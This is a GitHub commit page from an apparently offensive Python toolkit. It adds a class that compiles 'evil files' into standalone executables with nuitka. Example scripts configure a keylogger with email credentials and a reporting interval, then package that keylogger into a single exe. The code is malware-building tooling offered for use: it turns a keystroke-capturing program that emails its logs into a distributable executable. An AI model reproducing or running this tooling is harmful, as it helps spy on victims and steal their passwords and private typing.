-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #13 from dmdhrumilmistry/generate-executables
Implement class to Generate executables
- Loading branch information
Showing
12 changed files
with
119 additions
and
74 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,4 +1,4 @@ | ||
from pyhtools.evil_files.malwares.keylogger import KeyLogger | ||
from pyhtools.evil_files.malwares.keylogger.keylogger import KeyLogger | ||
|
||
key_logger = KeyLogger(email='yourgmailaccount', password='yourpassword', interval_in_secs=60) | ||
key_logger.run() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
from pyhtools.evil_files.exec_generator import (Compilers, ExecutableGenerator) | ||
from os import getcwd | ||
|
||
exe = ExecutableGenerator( | ||
file_path = r'D:\GithubRepos\pyhtools\examples\EvilFiles\Malwares\key_logger.py', # evil program file path | ||
output_dir = '.', # output directory | ||
compiler = Compilers.DEFAULT, # compile using DEFAULT, CLANG, MINGW | ||
onefile = True, # creates single exe file | ||
remove_output = True, # deletes all compiled files and retains only exe | ||
) | ||
|
||
return_code = exe.generate_executable() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
''' | ||
module: generator.py | ||
description: generates evil file executable | ||
''' | ||
from subprocess import call | ||
from os import name as os_name | ||
from enum import Enum | ||
|
||
|
||
class Compilers(Enum): | ||
DEFAULT = 0 | ||
MINGW = 1 | ||
CLANG = 2 | ||
|
||
|
||
class ExecutableGenerator: | ||
''' | ||
creates executable | ||
''' | ||
|
||
def __init__(self, file_path: str, output_dir: str = None, icon: str = None, compiler: Compilers = Compilers.DEFAULT, onefile: bool = True, remove_output: bool = True,) -> None: | ||
# file options | ||
self.__file = file_path | ||
|
||
# set options | ||
self.__options = { | ||
'onefile': onefile, | ||
'standalone': True, | ||
'onefile': True, | ||
'remove-output': remove_output, | ||
'output-dir': output_dir, | ||
} | ||
|
||
# os based options | ||
if os_name == 'nt': | ||
self.__options['icon'] = icon | ||
else: | ||
icon = None | ||
|
||
# compiler based options | ||
if compiler == Compilers.CLANG: | ||
self.__options['clang'] = True | ||
elif compiler == Compilers.MINGW: | ||
self.__options['mingw'] = True | ||
|
||
def __generate_command(self): | ||
command = 'nuitka ' | ||
for key in self.__options: | ||
cmd = '' | ||
value = self.__options[key] | ||
value_type = type(self.__options[key]) | ||
|
||
# generate option | ||
if value_type is bool and value: | ||
cmd = f'--{key} ' | ||
elif value_type is str: | ||
cmd = f'--{key}={value} ' | ||
|
||
# add option to command | ||
command += cmd | ||
|
||
# add file name and return | ||
command += f'{self.__file}' | ||
return command | ||
|
||
def generate_executable(self): | ||
command = self.__generate_command() | ||
return call(command.split(), shell=True) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Empty file.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,14 +1,15 @@ | ||
beautifulsoup4>=4.9.3 | ||
colorama>=0.4.4 | ||
#netfilterqueue (for linux devices only): sudo pip3 install --upgrade -U git+https://github.com/kti/python-netfilterqueue | ||
nuitka | ||
kamene>=0.32 | ||
scapy>=2.4.5 | ||
psutil>=5.8.0 | ||
prettytable>=2.1.0 | ||
pynput>=1.7.3 | ||
nuitka | ||
pyfiglet>=0.8.post1 | ||
pynput>=1.7.3 | ||
pytelegrambotapi>=4.0.1 | ||
prettytable>=2.1.0 | ||
psutil>=5.8.0 | ||
pyinstaller | ||
requests>=2.25.1 | ||
# wmi # for windows process management | ||
scapy>=2.4.5 | ||
# wmi # for windows process management | ||
zstandard |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters